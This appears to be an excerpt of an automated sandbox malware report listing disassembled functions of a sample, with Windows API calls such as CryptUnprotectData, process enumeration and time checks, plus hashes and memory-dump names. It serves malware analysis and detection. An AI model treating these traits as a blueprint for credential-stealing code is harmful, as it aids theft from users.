Instruction Fuzzy Hash: C3415EB590421EDBDB24CFA0DD89BFEB7B8BB49304F1041B8F509A6280D7706A84CF91

Function 00EB6BC0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00EB6C0C
sscanf.NTDLL ref: 00EB6C39
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00EB6C52
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00EB6C60
ExitProcess.KERNEL32 ref: 00EB6C7A

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 799b313e3c01071b9811c1c6e887e5c8b0c49ff0dbb50a23ce73fd761d786baf
Instruction ID: 74bb97b10f8089175c3b91115353ed826cc44278c4e558ed4c4e5e3647e1dcc5
Opcode Fuzzy Hash: 799b313e3c01071b9811c1c6e887e5c8b0c49ff0dbb50a23ce73fd761d786baf
Instruction Fuzzy Hash: 4321CD75D14208ABCF18EFE4E8459EEB7B5FF48300F048529E516F3254EB349644CB65

Function 00EA72A0 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00EA72AD
RtlAllocateHeap.NTDLL(00000000), ref: 00EA72B4
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00EA72E1
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00EA7304
LocalFree.KERNEL32(?), ref: 00EA730E

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 4c76f88fec89694603c680eb2207758aa75049885a88f0e3a4cd46ec637eb948
Instruction ID: b1dbb272326707cc23c5a155aba828e742a5c2813cb6ee12f080d5400fffa35a
Opcode Fuzzy Hash: 4c76f88fec89694603c680eb2207758aa75049885a88f0e3a4cd46ec637eb948
Instruction Fuzzy Hash: 11010C75A44308BBDB24DFE4DD4AF9E7778AB48B04F104554FB15BA2C4D6B0AA408B64

Function 00EB9790 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00EB97AE
Process32First.KERNEL32(00EC0ACE,00000128), ref: 00EB97C2
Process32Next.KERNEL32(00EC0ACE,00000128), ref: 00EB97D7
StrCmpCA.SHLWAPI(?,00000000), ref: 00EB97EC
CloseHandle.KERNEL32(00EC0ACE), ref: 00EB980A

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: ae35c08637c6df323588cb549a71bea9d6c1a094b1bcecb1f946cc6fa3b2422e
Instruction ID: 7a8c95648c604794019b5bd2c297af933e2300a8af53172871a0d7f21171f576
Opcode Fuzzy Hash: ae35c08637c6df323588cb549a71bea9d6c1a094b1bcecb1f946cc6fa3b2422e
Instruction Fuzzy Hash: 77012175A10209EBDB28DFA4D948BEEB7F9BF08700F104599E519E7280EB309B80CF50

Function 00EC4573 Relevance: 7.3, Strings: 2, Instructions: 4819COMMON

Download Yara Rule

Strings

huzx, xrefs: 00EC48F0
<7\h, xrefs: 00EC4752

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: <7\h$huzx
API String ID: 0-2989614873
Opcode ID: b1959c369d596a5e5fa06e222f24d624f052ef4e8d009fdc83557cd618c55d78
Instruction ID: d17dc9e95289d0bdb1b25d28b8753b9d96c7fe79ce3e36e640e033c58bf34122
Opcode Fuzzy Hash: b1959c369d596a5e5fa06e222f24d624f052ef4e8d009fdc83557cd618c55d78
Instruction Fuzzy Hash: 1E63417341EBD41EC727CB3047B6A927F66FA1331031859CEC4C1AB4B3C692AA56E356

Function 012ECB4B Relevance: 6.7, Strings: 4, Instructions: 1698COMMON

Download Yara Rule

Strings

$ n, xrefs: 012ED43B
0bm, xrefs: 012EDC08
0bm, xrefs: 012EDC34
0O\, xrefs: 012ECD48

Memory Dump Source

Source File: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: $ n$0bm$0bm$0O\
API String ID: 0-2677530187
Opcode ID: 034902909c1fa3881002cdb4777daa40fd312e5763bc191a20c31ffda871b4bf
Instruction ID: d6346a60c5333b5bc61d4f3e1c26e2c8fd35514815631a159930866b29ac9d18
Opcode Fuzzy Hash: 034902909c1fa3881002cdb4777daa40fd312e5763bc191a20c31ffda871b4bf
Instruction Fuzzy Hash: 9DB249F3A082049FE3046E2DEC8567AFBE9EF94720F16853DE6C5C3744EA7558018693

Function 00EB9030 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00EA51D4,40000001,00000000,00000000,?,00EA51D4), ref: 00EB9050

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 62861d4d30881197b7e0d2a40ac91921cfae7682bc2b93feab1394f63cea8fcb
Instruction ID: b76dd069f0136a363f3be77c2ca46b6ca778e75ecd545674278d5e052835efbf
Opcode Fuzzy Hash: 62861d4d30881197b7e0d2a40ac91921cfae7682bc2b93feab1394f63cea8fcb
Instruction Fuzzy Hash: DB11F574200208EFDF04EF64D894BEB37A9AF8A314F10A458FA299B341D775E9419BA0

Function 00EB7BC0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,01BFEE78,00000000,?,00EC0DF8,00000000,?,00000000,00000000), ref: 00EB7BF3
RtlAllocateHeap.NTDLL(00000000), ref: 00EB7BFA
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,01BFEE78,00000000,?,00EC0DF8,00000000,?,00000000,00000000,?), ref: 00EB7C0D
wsprintfA.USER32 ref: 00EB7C47

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 490134a11591731fc85cda7a90be9d779fe8ef5607d3f91782843a99a473a15b
Instruction ID: c7c93e5068373ec2b20e85f163ac9747a835027618eef3b7367603566252d690
Opcode Fuzzy Hash: 490134a11591731fc85cda7a90be9d779fe8ef5607d3f91782843a99a473a15b
Instruction Fuzzy Hash: 8B118EB1905218EBEB248F54DD49FAABB78FB44711F1003A9F629A33C0D7745A808F50

Function 012FA54D Relevance: 5.4, Strings: 3, Instructions: 1663COMMON

Download Yara Rule

Strings

2+, xrefs: 012FA986
:w>, xrefs: 012FB687
=~q, xrefs: 012FB4DC

Memory Dump Source

Source File: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2+$:w>$=~q
API String ID: 0-3170428094
Opcode ID: 181f33439d4be57c7db7880e8759bc5b4fe3b6063476fa8f0259b03aae570d70
Instruction ID: 1eec8fb278f24c7f40ca15805e9bd74f87ba44ae0ee2188210f3035b780bdac4
Opcode Fuzzy Hash: 181f33439d4be57c7db7880e8759bc5b4fe3b6063476fa8f0259b03aae570d70
Instruction Fuzzy Hash: F0B209F360C2049FE308AE29EC4567AFBE9EFD4720F16893DE6C5C3744EA3558058696

Function 012F1DA4 Relevance: 5.4, Strings: 3, Instructions: 1637COMMON

Download Yara Rule

Strings

(Cyr, xrefs: 012F21FE
@}M, xrefs: 012F2E14
OBlu, xrefs: 012F1FF1

Memory Dump Source

Source File: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: (Cyr$@}M$OBlu
API String ID: 0-1330563399
Opcode ID: cecf402a6a07a704180f09a85d1f449196f67326d2e128749f4edf13f4f2de27
Instruction ID: a8e69948558d5aa7feda31a6e77e1ab7b62c9a5b3a46b204944448b378277e32
Opcode Fuzzy Hash: cecf402a6a07a704180f09a85d1f449196f67326d2e128749f4edf13f4f2de27
Instruction Fuzzy Hash: 60B249F3A0C2149FE304AE2DEC8567AF7E5EF94220F1A453DEAC4C7744E67598018697

Function 012F3962 Relevance: 5.4, Strings: 3, Instructions: 1618COMMON

Download Yara Rule

Strings

D?;{, xrefs: 012F43B8
)?, xrefs: 012F474F
=~n, xrefs: 012F3BE9

Memory Dump Source

Source File: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: )?$=~n$D?;{
API String ID: 0-4190960460
Opcode ID: ecbaa53ea9681492aac4a121bfb540c4aca9e9b2054005cef48e3feeb2fddb06
Instruction ID: 139f1bf0c9db0c3ba3b5c93a66ff46c2ccbb7295119d33c43eca16ffb913278e
Opcode Fuzzy Hash: ecbaa53ea9681492aac4a121bfb540c4aca9e9b2054005cef48e3feeb2fddb06
Instruction Fuzzy Hash: CAB217F360C2009FE304AE2DEC8567ABBE9EF94720F1A893DE6C4C7744E93558458697

Function 00EB3970 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00EBE120,00000000,00000001,00EBE110,00000000), ref: 00EB39A8
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00EB3A00

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 52deb3f8119649857d86635a5ab56f327cd650ecac65dd8b55258ceb51749eda
Instruction ID: fabfb4a067770e13ac8a0968dc04390d14c87d7623b026f2f082c742cb7b9393
Opcode Fuzzy Hash: 52deb3f8119649857d86635a5ab56f327cd650ecac65dd8b55258ceb51749eda
Instruction Fuzzy Hash: C6411670A00A289FDB24DB58CC95BDBB7B5AB48302F5051D8E618E72D0D7B16EC5CF50

Function 012FE5C1 Relevance: 4.6, Strings: 3, Instructions: 831COMMON

Download Yara Rule

Strings

N_^{, xrefs: 012FEA96
JX{, xrefs: 012FED42
v2?o, xrefs: 012FEF84

Memory Dump Source

Source File: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
